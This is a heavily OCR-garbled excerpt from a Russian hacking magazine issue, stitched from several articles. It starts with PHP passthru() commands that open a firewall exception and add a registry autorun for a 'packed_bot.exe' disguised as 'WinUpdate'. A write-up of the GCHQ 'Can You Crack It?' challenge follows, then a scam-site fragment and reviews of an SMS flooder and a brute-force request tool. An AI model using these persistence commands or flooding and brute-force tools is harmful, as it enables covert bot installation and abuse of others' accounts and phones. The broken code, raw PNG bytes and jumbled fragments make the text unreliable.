Windows может на это ругаться , поэтому попробуем его обойти:

passthru( 'netsh firewall add allowedprogram %WINDIR%\ system32\ftp.exe TCPinfrastructure>nul 2>&1 ' );

Авторан для нашего ехе [если он лежит, например, в %systemгoot% ):

passthru( 'reg add HKLM\software\microsoft\windows\ currentversion\run /v WinUpdate /t REG_SZ /d %WINDIR%\packed_bot.exe /f>nul 2>&1' );

ЗАКЛЮЧЕНИЕ В РНР предостаточно функций, предназначенных для создания нехи­

лого файлового менеджера или же простого системного помощника .

Я надеюсь, что благодаря моей статье ты убедился не только

в этом, но также и в том, что для автоматизации процесса суще­

ствует множество различных средств, которые при совместном

использовании могут сильно тебе помочь.::;:

065

Page 68: Xakep 03_2012

plaintext lfi rst!aplaintext.su, http://www.plaintext.sul ·

can cra

8t' 1 • РЕШЕНИЕ ЗАДАНИЙ ДЛЯ ХАК-КОНКУРСА, УЧРЕЖДЕННОГО УПРАВЛЕНИЕМ ПРАВИТЕЛЬСТВЕННОЙСВЯЗИ ВЕЛИКОБРИТАНИИ

Недавно Управление правительственной связи

Великобритании объявило небольшой

Н-конкурс, чтобы привлечь к себе внимание

ка к к работодателю . Не уверен, что к ним кто­

то устроился на работу, но пройти задания из

спортивного интереса наверняка захотели

многие .

На нашем диске

ты сможешь найти видео с полным

прохождением

конкурса «Сап You Crack lt?».

.PNG ...... .IHDR. ............. j .-•... sRGB ......... pHYs ................. tiME. .. ..

. 3-9.p ... ) iТXtComment ..... QkJCQjiAAACR2PFtcCAбq2eaCBSR+BdmD/zNzLQC+td3tFQ4qx8044 7ТDeuZwSP+{)SsDEcYR.78JKLW=2 ...... IDATx ... yt .... лcwuW ... So-.. , ....... L .. l!!> ... q .. 58 .. 1 .. a.7.,.НV.y.&.:. G.a ...... mMH.d ...... \ .U ... ?.n7-Ktuwi ... Gj.R. ..... g.} .. .. sн. д .... sн. д .... sн. д .... sн. д .... sн. д .... sн. д .. .. sн. д .... sн. д .... sн. д .. . . sн. д .... sн. д. ... sн. д .... sн. д .... sн. д .... sн. д. ........ o .. u .... в:. Lz.D .. I!!>.B c .... .l.4 .. ) .... • -....... d .. !QZ. •-ее. D, .. , .. q.R.fc .. & .• w41r ... Ra6 ... 7 ... : ... " .. } .D.r .... /14.% ....... D<.D"s.iA.ТX, .. ZD .... $ ....... лX. .. 7 .. ·.C.9y.i ... V ... ,MO .. G.B y .... B .......... (<.C .. q .. X.Di .. 4M .... .f{ ... Sv; .. ( ... 8.H.&'.}}y.j ....... 1 .. BQ .. ! . .... zz .... t..jM& ...... К. .. s% .... f .. nW .... X.fH .... s .. k .. h.vmm-' .. _y: :.' p.6 ... djSK ............. R. .. R .. 4. Q .... > ..... < ....... bH ...... C.1 ... t) . ......... -.UX,.%K11!> ..

Задани е первого этапа Комментарий к файлу с заданием

066 ХАКЕР 03/158/2012

Page 69: Xakep 03_2012

Итак, некоторое время назад Управление

правительовенной связи Великобритании

объявило конкурс, успешное про хождение

которого п оз воляло отправить в Управление

свое резюме, а затем и устроиться на работу

в брита н скую киберразвед ку . Пр едложе нны е

задания н е так уж сложны, да и саму стра­

ницу отдела к~дров Управления правитель­

овенной связи IGCHQJ можно пр акти ч ески сразу обнаружи ть при п омо щи пои сков и к а

Google, однако этот конкурс всё же интере­сен , так как он позволяет оценить у ровень

под готовки сотрудников, которые соста вля­

ли задания.

На странице ко нкурса, находящейся по

адресу caпyoucгackit . co . uk , мы видим картинку

с набором НЕХ-з начений !смотри соответ­ствующий рисунок] и надпись-дразнилку «Сап You Сгасk lt ?>>. Увиде в эти Н ЕХ-значения, я поначалу подумал, что это за шифрованное по­

слание, начал было считать частоту встречае­

мости каждого зна чения и попытался затем

перевести их в символы ASCII, однако у меня ничего не вышло. В итоге я решил засунуть все

НЕХ-значения с рисунка в двоичный фай л и

открыть полученное непотребство в IDA Рго . В

итоге мне удалось получить кое-какие резул ь­

таты. IDA легко распознал осмысленные куски кода для архитектуры х86 . Я п о нял , ч то выбрал

правильный путь.

Недолго думая , я преобразовал получе н­

ный кусок кода в функцию и запустил деком­

пилятор. Сначала в стеке выделя ется место

под массив в 256 байт, который заполняется значениями от О до 255, а далее вып олняется

процеду ра преобразования массива, которая

на са мом деле предс тавляет собой алгоритм

инициализации шифра RC4 с ра зме ром блока 8 бит и ключом OxD EADBEEF !смотри рисунок] . После всего этого вызывается еще одна функ­

ция, стек которой испорчен, и поэтом у о н а не

по зубам декомпилятору.

Как оказалось, в начале второй функ­

ции значение регистра esp, содержащего указа тель на вершину стека, меняется на

printf ( ''\nkeygen .•xe\n\n'' ); if ( ~1 •• 2 ) (

uS • ( FILE • ) f ope n6 4("'license.txt" . ''r" ); if ( us ) (

MI?IIISet (&U9 0 D. 2Jш); fsc.:.nf ( uS . '"ts'' • r.u9 ); f c lose( uS ); if ( u9 •• ' qhcg' ) {

}

u2 • crypt (); if ( ! s trc ~tp~ ( const char· • ) u2 . ghDTK7b8Kruw) )

U13 • 1; printf ("loading stage1 license key(s) .. . \n''); u6 • u10 ; printf ("loading stage2 license key( s ) . . . \n\n'' ); u7 • u11 ; u8 • u1 2 ;

if ( U13 ) (

u4 • Tr ans•itl nfo(•(_DWORD •)( а2 • lt). ( int )&u 6 ); } else {

printf ( ''er-ror: licf'nse.txt i nualid\n''); u4 • - 1;

Основной функционал программы keygen

ХАКЕР 03 / 158/ 2012

адрес конца наш е го кода, указывающи й, где

содержится значе ни е ОхАААААААА. Далее

из стека из влека ется DWORO, который срав­нивается с ОхАААААААА. Затем извлекается

еще одн о з начени е, котор ое срав нив ается

с О х ВВВВВВВВ . Однако этого куска дан ных

!второй половины стека функции] у нас нет. Чтобы найти вторую половину стека нашей

функции , необходим о сохранить картин ку с за­

дани е м с сайта и п осмотреть , как эта функция

устрое на . Недостающие данные содержатся в

дополнительной секции iTXt РNG-файла с за ­

данием ! кодиров ка UTF-8]. Бинарные данные закодированы с п омощью алгоритма Base64 и следуют за сло вом Comment !смотри рисунок]. Раскодировав и склеив два бинарника, я за­

пустил код на выполнение !под отладчиком] и пр осмотрел результат пр о цедуры дешифрова­

ния, который представляет собой следующую

строку:

GET /15b43бde1f9187f3778aad525e5d8b28 .js

НТТР/1 . 1

После от п равки соотв етствующе го GET­зanpoca на сервер получаем второе задан ие.

Кстати, код можно запустить нескольки­

ми с п особами. Я создал простой ехе -фа йл,

в котором сначала считывается кусок кода с

зада нием, а потом всё это дело запускается на

выполнение ! п од ко нтрол ем IDA] при помощи простой ассемблерной вставки:

_ asm

int 3; nрограммная точка останова

mov еах, array; ar ray - массив с кодом

call еах; заnус к кода на выnолнение

Хочу отмет ить, что в начале кода прои схо ­

дит jmp через четыре !вроде бы] неиспользуе­мых байта. Э ти четыре байта пр игодятся нам в

дальн ейшем. Как видишь, первое задание до­

вольно про стое. Затруднения возникли лишь

при об наружении второй части стека функции

в дополнительной секции РNG -файла с зада-

UNIX CRYPT()

Функция сгурt в операционных системах *ni x служит для хеширования различных данных,

в том числе паралей пользователей системы.

Традиционная реализация этой функции

использует американский алгоритм DES (Data Encгyptioп Staпdaгd]. Пароль пользователя

сокращается до восьми символов, от каждого

из которых, в свою очередь, берется 7 бит. Восемь наборов по 7 бит формируют 56-битный ключ алгоритма DES, при помощи которого шифруется блок из восьми нулевых байт . Затем

1 сап сгасk itl

void cdecl sub_O() {

int vo ; // есх@1 int v1 ; // еах@З unsigned int v2 ; // еdх@З char vз ; // bh@4 char v4[256] ; // [sp+Oh] [bp-100h]@2

}

vo о;

do {

v4[ v0 ] = vO ; lOBYTE ( vO ) = vO + 1;

} l~hile ( (_BYTE )vO ); v1 о;

v2 = OxDEADBEEFu; do {

}

LOBYTE ( v1 ) = v2 + v4[ v0] + v1 ; v2 = ROR __ ( v2 , 8); v3 = v4[ v1 ]; v4[ v1 ] = v4[ v0]; v4[ vO] = vз ;

lOBYTE ( vO) = vO + 1;

l~hile ( (_BYTE ) vO ) ; sub_39 ();

Результат декомпиляции

нием. Для этого не нужно знать формат PNG, а достаточно просто быть внимательным !не­

обходима я информация содержится в самом

начале файла].

SECOND STEP Во втором задании а вторы предлагают нам

попробовать написать эмулятор микро­

nроцессора . Дан кусок памяти с кодом и

данными, а также описана архитектура

микропроцессора, для которого вс ё это

предназначено . Процессор состоит из

восьми регистров, четыре из которых !гО ... гЗ] представляют собой регистры общего на­значения, два предназначены для хра нения

адреса сегме нта кода и а др еса сегмента

данны х ics и ds соотв е тственно], од ин ре-

полученный блок шифрованного текста вновь

шифруется с помощью алгоритма DES и т. д.

Таким образом , блок из восьми нулевых байт

шифруется в nроцессеработы 25 раз . Стоит

отметить, что сгурt не использует стандартную,

эталонную реализацию алгоритма DES. Алгоритм каждый раз слегка меняется . Его

конкретная реализация зависит от соли длиной

12 бит. Соль и шифрованный текст в итоге nреобразуются в строку при помощи алгоритма

Base64.

067

Page 70: Xakep 03_2012

взлом

short loc_6 -------------;:=====-=-=-=-:..::;-----------------------------·

dd OAЗBFC2AFh 1

------------- - -----------------------------------· loc_6:

сэ: ОхОО ,

dэ: OxlO ,

fl : ОхОО ,

sub xor

esp, 100h есх, есх

j tirmware: [ Oxd2aьlf05 , OxdalЭfllO ]

; СООЕ XREF: sub_O!j

Неиспользованные значения из первого и второго заданий So you did it- поздравление с успешным выполнением заданий

гистр служит для хранения флага операции

[flgl, и один- для хранения адреса текущей инструкции [ipl.

Микропроцессор обладает набором из

восьми инструкций, каждая из которых [за исключением инструкции hlt, прекращаю­щей выполнение программыl имеет два

режима работы: mod О и mod 1. В принципе, для успешного выполнения задания до­

статочно обладать небольшими навыками

программирования, а также представлять,

как работ ают микропроцессоры. Однако в

процессе программирования я наткнулся

на несколько подводных камней. Сперва я

объединил в один массив регистры общего

назначения, а для cs и ds выделил отдель­ные переменные. Как оказалось, зто оши­

бочный подход, так как в коде встречаются инструкции типа «add г[5], 12>>, которые, по

замыслу разработчиков задания, изменяют

значения сегментных регистров напрямую [в

описании задания упоминается регистр cs, так же как и г51. Второй подводный камень -реализация fаг jump'oв и изменения ip. Здесь просто надо знать, что значения ре­

гистров, отвечающих за номера сегментов,

изменяются только при дальних переходах и

не изменяются, если ip начинает указывать на новый сегмент кода . В остальном же всё

просто и прозрачно. Разработчики заданий

предлагают нам реализовать эмулятор на

языке JavaScгipt, однако на то, будет ли

учтено выполненное задание, выбор языка

программирования не влияет. Я реализо­

вал эмулятор процессара на С. Программа

выполняется довольно быстро, хотя у меня

были подозрения, что разработчики напи­

шут код, который будет работать полчаса :-1 .

После остановки процессара [выполнения инструкции hltl в памяти появится ключ к третьему этапу конкурса - очередной GЕТ­

запрос:

ВОССТАНОВЛЕНИЕ КРИПТОГРАФИЧЕСКИХ АЛГОРИТМОВ

В настоящее время сложно найти

коммуникационную систему, которая не

использовала бы криnтографию. Часто в

процессе реверс-инжиниринга различных

модулей необходимо распознавать

и восстанавливать используемые

криптографические алгоритмы, режимы их

работы, nорядок выработки и использования

ключей шифрования и т. д. Разбор конкретной

реализации алгоритма такженередко

позволяет не только выявить ее ошибки, но

и оnределить, что алгоритм исnользуется

неnравильно, в результате чего могут

возникать уязвимости, nозволяющие в

конечном итоге nровести усnешную атаку на

систему в целом.

Вообще, универсального рецеnта по

распознаванию криптографических

алгоритмов не существует, можно лишь

выделить некоторые nодходы и оnисать

некоторые nризнаки , которые позволяют

068

<<заnодозрить >> тот или иной участок кода в

nринадлежности к какому-либо алгоритму.

Так, например, современные симметричные

блочные алгоритмы шифрования обычно

построеныпоитерационной схеме, в которой,

как правило, производится замена значений в

соответствииснекоторой таблицей в памяти ,

наложение ключа шифрования и линейное

преобразование . При этом в пределах одной

функции в ассемблернам листинге может

встретиться цикл, большое количество

инструкций тиnа mov, movzx, add, хог, shl, shг и т. д ., а также частые обращения к nамяти [в

качестве nримера смотри рисунок!.

Кроме того, для каждого криптографического

алгоритма можно выделить некоторые

<< отличительные черты >> , которые позволяют

автоматизировать поиск необходимых

участков кода. Чаще всего такими признаками

служат константы, характерные для того

или иного алгоритма. Для симметричных

GET /da75370fe15c4148bd4ceec861fbdaa5.exe НТТР/1.0

Отсылая очередной GЕТ-запрос к сайту, полу­

чаем третье задани е - исполняемый файл. При

просмотре зависимостей это го файла видно,

что для его работы необходим Cygwiп. Вообще,

в свойствах полученной программы указано,

что настоящее имя зкзешника keygeп.exe, так

что смело переименовываем его.

В этот раз опять никаких проблем с ревер­

сом- код никак не обфусцирован. При за пу­

ске keygeп требует передать ему URL сайта для соединения в качестве первого пара метра. Ал­

горитм работы программы достаточно прост: в

текущей директории выполняется пои ск файла

licence .txt, из которого считывается строка, а

также три числа. Судя по строкам в се гменте

данных, требуемые числа представляют собой

Stage оп е liceпce key и Stage two liceпce key,

алгоритмов это могут быть блоки подстановак

ISBox' ыl, некоторые специфические константы,

а также такие nараметры алгоритма, как длина

ключей [в том числе длина массива раундовых

ключей!, длина блока, количество итераций

[раундов! и т. д. Подобными признаками

также обладают и хеш -фун кции. Алгоритмы

хеширования обычно исnользуют большие

наборы констант, что облегчает распознавание

типа алгоритма и его восстановление .

Стоит отметить, что в подавляющем

большинстве программных реализаций

симметричных алгоритмов шифрования

функция выработки массива раундовых ключей

lkey schedulel и функция дешифрования/ шифрования открытого текста находятся в

разных участках кода программы . Это помогает

ускорить nроцесс обработки информации (и

не тратить каждый раз время и ресурсы на

nолучение key shedule из основного ключа алгоритма!.

ХАКЕР 03/158/ 2012

Page 71: Xakep 03_2012

то есть это некот о р ые дан н ые, дл я n олучения

которых необходимо решить задачи , п редла­

гаемые на первом и втором этапах конкурса.

Прочитанная из файла строка nреобразуется

при nомощи функции crypt [из Cygwin) и срав­нивается с эталон н ым з н а ч е н ием из сегмен та

данных программы. Дойдя до этого эта n а, я

уж было nриня-лся ломать хеш из сегмента

данных, однако э то был тупиков ы й п уть, и в сё

оказал ось гораздо n р още. Н еобходимый IР­

адрес получается с использованием перво го

nараметра программы [UR L сервера) и DNS. Как несложно догадаться, UR L должен п ред­ставпять собой адрес страницы с зада ни ями:

canyouc гackme . co.uk . Далее keygen.exe форми­рует к удаленному серверу G ЕТ-запрос вида:

GET /%s/%e8X/%e8X/%e8X/key .txt НТТР/ 1 .е

Как я уnоминал ранее, на месте строки в за­

просе стоит хеш-з н ачение из сегмента данных .

Остается лишь найти значения <<ли цензионных

ключеЙ>> п ервого и второ го этапов заданий,

для чего я начал собирать данные, которые

на этих этапах не использовались. На первом

этапе это четыре байта в начале кода, через

котор ы е ш ел п ер в о н ачал ь н ы й jump. Дл я

второ го этапа это нигде не пригодившееся два

ОWОRО-значения firmware [смотри рисунок). Вообще, во втором задании не использовался

весь третий ба н к памяти, кото ры й на ч и н ает ся

с сигнатуры 7z, одн ако не я вл яется одноимен­ным архивом. Этот участок, не потребовавший­

ся для выполнения задания, видимо, нужен

просто для того, ч тобы за путат ь конкурса нто в .

• text :101221121 . text:10122112 .. • text: 100221126 • text :101221129 • text :1 ОО22А2С

• .text:100221133 • text: 1 00221136 • text :1 0022А38 • text: 1 00221138 • text: 1 002211ЗЕ • text: 1 012211 .. 5 • text :1002211 .. 7 • text: 1 002211 .. 8 • text :1 01221152 • text :101221155 • text :100221157 • text :1 012211SA • text :1 0122ASO

• • text :1 OI22ASF • text :100221162 • text :100221169 .text:10022116B • text :10022116Е .text : 100221171

• .text:100221173 • .text :100221176 . • text :100221178

.text:10022117B • text: 10122117Е

Кусок ассемблерного листинга алгоритма AES

ХАКЕР 03/158/2012

Ито го в ый GЕТ-за пр ос к се р ве ру и м еет

сл едующий в ид :

GET / hqDTK7b8K2rvw/AЗBfC2AF /D2AB1Fe5/

DA1 3F11e/key.txt НТТР / 1. е

Этот запрос позволяет просмотреть файл

key.txt, в котором указан ключ от страни цы

с п оздравлением <<So you did it» и ссы л кой на оп исание вакансии, в кото р ом говорится,

что конкурсанту, успешно выполнившему все

задания, отнюдь не предлагают работу прямо

сейчас, н о согласны рассмотреть его канди­

дат у ру п озже, когда в Уп равлении п оявятся

свободные вакансии.

SUMMARY З аданияотУправления п равительствен -

ной связи Великобритании не представля-

ют никакой сложности и в первую очередь

ориентированы на проверку смекалки, а уже

потом - навыков реверс-инжинирин га и про­

граммирования и знаний о принципах работы

микропроцессоров. Выполнить эти задания под

силу любому человеку, у которого достаточно

терпения и энтузиазма. Это косвенно свиде­

тельствует о том, что в GC HQ работают обычные люди , everyday heroes, а не те супермены, которые в зрелищных голливудских фильмах

взламывают парали за пару минут и с легкостью

п ро н икают в защищенные сети правительс т а

разных стран. Напоследок хочется побла го­

дарить британцев за еще одну возможн ость

<<размяться» и проверить свои знания . Задания

наших спецслужб были бы куда хардко рн ее. :х:

ROU esi. (eax•1Ch) ROU есх. esi shr есх • 10h 1 ROUZX edx. cl ROUZX есх. ds:byte_10058188[edx) Shl есх. 8 AOU edx • esi Shl" edx. 8 AOUZX edx. dl ROUZX edx. ds:ьyte_10058188(edx] XOI" есх. edx AOUZX edx. byte ptr (eax+ 1Ch] AOUZX edx. ds:ьyte_10058188[edx] Shl есх. 8 XOI" есх. edx ROU edi. (eax+ OCh) shl есх. 8 AOU edx. esi Shl" edx. 18h AOUZX edx. ds:byte_100S8188(edx] XOI" есх. edx XOI" есх. (еЬр+ О]

AOU edx. (еах•4]

XOI" есх. (еах]

add еьр. 4 XOI" edx. есх ROU (eax+20h]. есх ROU есх. (еах•8 ]

XOI" есх. edx

1 са п cra ck it l

АЛГОРИТМ RC4

Алгоритм RC4 [также известен как ARC4) на сегодняшни й де н ь является одним из самых

известных и широко используемы х поточных

шифров. Алгоритм был разработан Раном

Ривесто м , одним из основателей компании

R5A 5ecu гi ty, в далеком 1987 году . RC4 об­ладает рядо м до стоинств , к которым в первую

очередь относятс я высокая скорость работы

и п е ре м енная длина ключа . На каждом такте

работы алгорит м генерирует 8 бит псевдослу ­

ча йн о й по следовательно сти и изменяет с вое

вн утреннее с остояние , которое определяется

перестанов кой значений от О до 255 [5) и дву м я однобайтными инде ксами: i и j . Алго­ритм RC4 состоит из двух частей : процедуры

инициализаци и [К5А) и алгоритма выработки

псевдослуча й но й последовательности . Про­

цедура инициализации служит для выработ­

к и п е р е становки 5 при помощи ключа длиной от 40 до 256 бит. К5А описывается следующим псевдо кодом :

f or i f rom е to 255 S[ i] : = i

endfor j := е

f or i f rom е t o 255 j := (j + S[ i ] + key[i mod keylength] )

mod 256 swap va lues of S[i] and S[j] _

endfor

Алгоритм выработки псевдослучайной

последовательности также достаточно прост.

Он описыва ется следующим nсевдокодом :

i := е

j := е while GeneratingOutput:

i := ( i + 1) mod 256 j := (j + S[ i ] ) mod 256 swap values of S[i] апd S[jJ _ К : = S[(S[i] + S[j] ) mod 2;>6] output К

endwh i l e

Алгоритм RC4 применяется для шифрования данных в протоколе 55L, защиты трафика в WEP, защиты документов Adobe PDF и Microsoft Office . Широко известны случаи, когда неправильное исnользование данного

алгоритма позволяло восстановить конфи­

денциальную информацию . Так, некоторое

время назад для защиты содержимого

РDF-документов применялея RC4 с длиной ключа 40 бит, в результате чего злоумыш ­

ленник мог получить доступ к содержимому

файла простым перебором ключа . В одной

из версий М5 Office из-за неправильного исnользования RC4 для защиты файлов для во сстановления и х содержимого х ватало

069

Page 72: Xakep 03_2012
Page 73: Xakep 03_2012

,.,~,.

( ~ ::, ~ \

'"r;- -,' "~,.'

: r * ~.:~~~~

•~:---~

о

43 00000004

Ноемо бозо .-.кoe.rndЬ

Оwт

r:t> 12

Количестао кееа.: 49

Услоои• обробо""'

ДоnусТW<ЫА"'""""'fМ 0

Page 74: Xakep 03_2012

с~ ... ~~ ~ сосорост-. 2898K8i5 Ф,,"., 1021 44 Mys..o ~ 120~1 1• 122988 ТВ 1-4е<IОЭ .... tфт 1~0

Поиск по базе: + с==_ искать

Вы nоnали на самый крупный файловый поисковик в рунете . Ищите любые файлы и скачивайте на неограниченной скорости с

самых больших торрент-трекеров

Попупярные запросы : ''

IV сауз парк хаус интерны wow аватар касперекий патч 2010 GTA Starcraft 2 рок

ПрОГраММЫ dVd 2QQ9IOSSieSS ИЛаЯ ре nорно КОМеДИЯ mpЗ sasha grey музыка квн friends Fleur lost Dragon дgе crysis прожекrор перис хилтон баста daemon total

бесплатно pdf клиника фильмы HQ пипец windows 7 HD 720р с качать dvdrip

качество Весёлая ферма house КаМеДИ

Ложный deposi t files

072

• приема у квалифицированного специалиста.

Конечно, Ваня испугался, а у страха, как из­

вестно, глаза велики. Ваня ткнул первую же

ссылку, которую выплюнул поисковик, и-

о чудо'- это оказалось именно то, что нужно:

сайт << Проверка зрения через интернет».

Он, естественно, был очень хорошо

оформлен и, что самое главное, предлагал

проверить зрение уже сейчас' Ваня быстро

нажал «Пройти проверку» и ответил на во­

просы анкеты, которые якобы должны были

выявить, что же всё-таки случилось с его

глазами. Когда Ваня ответил на все вопросы,

сайт сообщил ему, что постановка диагноза,

вообще-то, платная, но стоит недорого и что

для его получения необходимо ввести свой

ХАКЕР 03/158/2012

Page 75: Xakep 03_2012

Целевой сайт

Доброго времени суток уважаемые форумчанеl Предлагаю создание adult платников .

в услугу входит:

-Установка движка платникiJ

-Настройка категорий

-Нарнсовка уникального Лога

-Наполнение

-nотключенне к бнллннrу

А ТliКЖе прогон по каталоrlllм©''

Page 76: Xakep 03_2012

взлом Marlicq 884888, http://snipper.rul ·

СОФТ ДЛЯ ВЗЛОМА И АНАЛИЗА БЕЗОПАСНОСТИ

Rro_r_,._,..,..НIIP

"' or тat> • • о'> е ..

._ ...... --Автор : NEOx. URL: Ьit .ly/x 5Lk8n. Система : Windows .

РЕ Tools- это полнофункциональная утили-

та для работы с файлами РЕ/РЕ+ [64bitl. Она включает в себя следующие модули : редактор РЕ- файлов, Task Vieweг, оптимизатор Win32 Р Е-файлов, детектор компил я тора/у паковщика и м н огое другое. Ос н овн ы е возможн ости про­

граммы просто поражают в оображе ни е.

1. TaskVieweг:

создание дампов п роцессов [Full, Pa гtial, Regionl; создание дампов .NET CLR-npoцeccoв; автоматическое снятие защиты Anti Dump Pгotection;

изменение приоритета процесса;

завершение работы процесса;

загрузка про цесса в РЕ Editoг и РЕ Sniffeг;

определение О ЕР. 2. РЕ Sniffer:

оп ре де л ен и е т и п а ко мп ил я тора/у п аковщика; обновл е н ие б азы си гнатур ;

сканирование ди р екторий.

3. РЕ Rebuilder: оптимизация РЕ-файл а;

изменение базового адреса РЕ- файла.

4. РЕ Editor: редактирование 0 05-заголовка;

поддержка но в о го формата РЕ+ [64Ьitl; корректирование CRC; просмотриредактированиетаблицимпорта/ экс п орта.

• с Q

~---~

Автор : famatech. URL: radmin.ru/products/ 1pscanner. Система: Windows.

Если т ы когда -либо использовал в своей по ­

вседне в ной работе Radmin, то советую тебе попробо вать в деле еще одну программу от тех

же авторов - Advanced 1 Р Scanne г. Как яс н о

из названия, п ро га n редставляет собой п р о ­

дв инутый сетевой сканер .

Функционал и основные достоинства тулзы:

1. Б ыс т рое сканирование сети. П ро га осущест­

вляет многопоточное сканиро в а н ие сотен

ком п ьютеров в сети, чтобы найти такие ре ­

сурсы, как общие папки, Н ТТ Р, НТТРS и FТР,

и получитьдоступ к ним.

2. Интеграция с Radmin . Благодаря инте­грации с Radmin, наш сканер находит все маши н ы с заnущенным Radmin Sегvеги п о ­

зволяет затем подключиться к ним в один

клик . Для этого на компьютере, с которого

осущест вляется сканирование, дол же н б ы т ь

уста н овл е н Radmin Vieweг. 3. Удал енное в ыключение ком п ьютеров. Эта

функ цияслужитдл я выключениялюбо го

удаленного компьютера или груnпы ком п ью ­

теровсвиндойнаборт~ 4. Функция Wake-On-LAN. Эта функция п озво ­

ляет включать удаленный комnьютер ил и

гру п пу ком п ьютеров, если они поддержива ­

ют функцию Wake -On -LAN. Интуитивно понятный интерфейс и удобство

ис п ользования сканера я советую тебе оце­

нить самостоятел ь но.

Автор : SuicideiVII] . URL: rOOt .in/showthread . php?t=18056. Система :

Windows.

П ро га представляет собой прод винутый SМS­

флудер, позволяющий рассылать сообщения

с любым текстом . Длина одного СМС стандар­

тна и составляет около 75 сим волов на кирил­

лице и 120 символ ов на лат и н и це. Поддер­

живается отп ра вка СМ С в такие страны, как

Россия, Казахста н , Узбек и с т а н , Украина. Дл я

работы флудера т ребуются валидные аккаунты

Maii. Ru. Автор рекоме ндует иметь от 100 до 300 таких аккаунтов. Ты в п ол н е сможешь найти

раздачи с ними, заре гистриро вать аккаунты

самостоятельно или же вос п ользоваться од­

ним из многих nубличных брутфорсеров этого

сервиса. Файл с аккаунтами должен имет ь вид :

mymegaemai l @mail .ru:passw l ogin@bk. r u: pas s

И нтервал флуда с одн ого мейла составл яет

пример н о од ну ми н уту, п оэтому создатель п ро­

граммы рекомендует работ а т ь с ней с дедика,

так как при этом достигается достаточно боль­

шая скорость флуд а. Из удобст в D eath-MoЬile

следует отметит ь п одробный ло г текущих

действий [действие, номер телефона, мыло!, а также лог, в котором фиксируется, какие

сообщения доставле н ы, а какие не дошли

до адресатов. Остальные фичи п рограммы ты

сможешь изучит ь п ри личном ознакомлении

с н ей .

ХАКЕР 03/158/ 2012

Page 77: Xakep 03_2012

..

По- ~..:йк=""::..L---, f,:;:-- -Формат wаблона.(стиль regexp):

~=х:t::_и-т:т ':':onoe~ ЬмюmeНJCТJ)OIOtchatset ~mi'{,m.JX]}-oтmi'IAomax

торе!И1 СУIФОМ symЬol ~(tМ{. IМх)} • ОТ nWI АО IМХ букв d ·цифр, \w ·бука 1111Н цнфр) дльтернатноа: {att1*21 ... } · ~IU~T08.!Jitl,lJt2HT.A,

n-: o{l,lD} l [atx:}{1,2}1\d{2}1}

. rul .com} -...eнooюнerult1»! .~chelo,nocne

котороrо 111.ет : ~~От 1 АО IOOМК!JJ08.!1 ~ nн6о 1 нnн 2 ОМ!ОМ ,a,b,t 1 ...&>2ЦНФоы

nн6о жчеn (т . е . helo.ru)

41cJ1o ПОТСIКО8: 10 • д....,._.

@ Reg.ru О Nc.ru

Q Who .•

З.цержка (cet~:yttA): IL:J ДеtiстемА

(TlJPT

о ~ТЬСА011еН&N9 81

ВЫхоА

Статнсn«е работы

Текущее '*'CIICI nотакое

~= 81

СеобоА110: 75

Эа11ято: 6

Ouo<&oo:

Qст,апосъ: 621

Всего : 702

Автор: Z.Razor IZerveRTeaml. URL: www.zerverteam.com. Система: Windows.

Web Tool- это программа, предназначенная

для автоматизации GET- и РОSТ-эапросов .

Соответственно, может использоваться для

б рута/пареи н га/чекин га/на крутки хостов/ата­ки/прокси-чекинга и т. п. Во всех полях программы lза исключением п олей Data и UseгAgeпt l п оддерживаются

следующие переменные :

#user# - ЛОГИН ,

#pass# - пароль ,

#mdS(user)# -ЛОГИН В mdS, #mdS(pass)# - параль в mdS, #tokenl# - #tokeп(l-X)# - токены,

#count# - счетчик брута.

В коде, полученном после запроса с токе­

нам, осуществляется поиск указанной строки.

Считывание н ачинается сразу после н ее !или,

если нужно, п осле Х следующих сим волов! и выполняется до конеч ной строки !чаще всего она состоит из символа< или «1. Прога имеет три режима:

1. Режим sоuгсе-файла:логины и парали в виде пick;pass берутся из одного файла.

2. Режим двух файлов: логины отдельн о, паро­

л и отдельно.

З. Режим цикла: программа сработаетука­

занное количество раз без использования

ЛОГИНОВ И паролеЙ.

ХАКЕР 03/158/2012

X-Tools

Автор: al-chemisl. URL: al-chemisl.ru/ dnfinder.hlml . Система:

DOMAIN NAME FINDER, ИЛИ КАК НАЙТИ КРУТОЙ

Представляю твоему вниманию про­

стонезаменимую для домейнеров

проверкасписка доменных имен;

наличие трех различных движков

проверки;

сохранениеспискасвободных

доменов в различных форматах;

возможность продолжить пре­

рванную проверку;

Windows. и сео шников всех мастей утилиту

Domaiп Name Fiп deг. Как ясно из на­звания, эта тулза предназначена

для поиска свободных доменных

имен. Зачем тебе доменные имена?

Их всегда можно припрятать по­

дальше, а затем выгодно п родать

н уждающимся! Та кже можно создать

хороший SЕО-шоп на хорошем до­

мене- вариантов много .

Прога однозначно не поможет

теб е зарегистрировать la затем и продать! какой-нибудь viagгa. com, но что-то подобное подобрать вполне возможно . Наприме~ вот

регэпс для поиска чего -т о вроде

xakepviag га .com: [а -zH5, 5}viag га.соm. Дерзай!

Основные возможности программы:

проверкадоменных имен, задан­

ных шаблоном в стиле регулярно­

го выражения;

Автор :

Marcello Pielrelli & Gianni Baini. URL: Ьit.ly/ukWQSX. Система:

Windows.

На тему безопас н ого стирания данных велось

уже немало разговоров, но я хочу продолжить

ее и познакомить тебя с очередной тематиче­

ской утилитой. Имя ей- Files Тегm i паtог. Эта

ут илита обеспечи вает конфиденциальность

твоих данных, полностью удаляя приватные

документы, изображения, видео и другие фай­

лы путем перезаписи свободного дискового

пространства. В процессе «стирания>> файлов

их содержимое несколько раз перезаписы­

вается случайными данными и предопреде­

ленными символами, таким образом, восста­

нов ить эти файлы будет нельзя. Кроме того,

программа позволяет <<очистить>> свободное

пространство с помощью сложных алгоритмов

шифрования, для того чтобы безвозвратно

уничтожить даже те файлы, которые ранее

были удалены небезапасным способом.

Программапредоставляет на выбордевять

алгоритмов удаления инфы :

1. П севдослучайный.

2. Британский , HMG 155. З . Случайный.

4. Российский, ГОСТ Р50739-95.

5. Алгоритм министерства обороны США, DoD 5220.22-MIEI.

6. Н емецкий, VS IT R. 7. Канадский, RCPM TSSIT OPS-11. 8. Алгоритм Брюса Шнайера .

9. Алгоритм Питера Гутмана.

Автор: Зайцев О. В. URL:

1"CP-МU)(·ТCPPOOI.Sa....-Мula.дloтoнfll05

Еd\оТСР!f>(Э:I«нн•ит дмnрВIАета..ае

z-oleg .com/secur/aps. Система:

sytSIII В.Мтаное

C8flaмc0tscaod В.Мта с.р.нсо.уr-

Н.СS. В.Мта

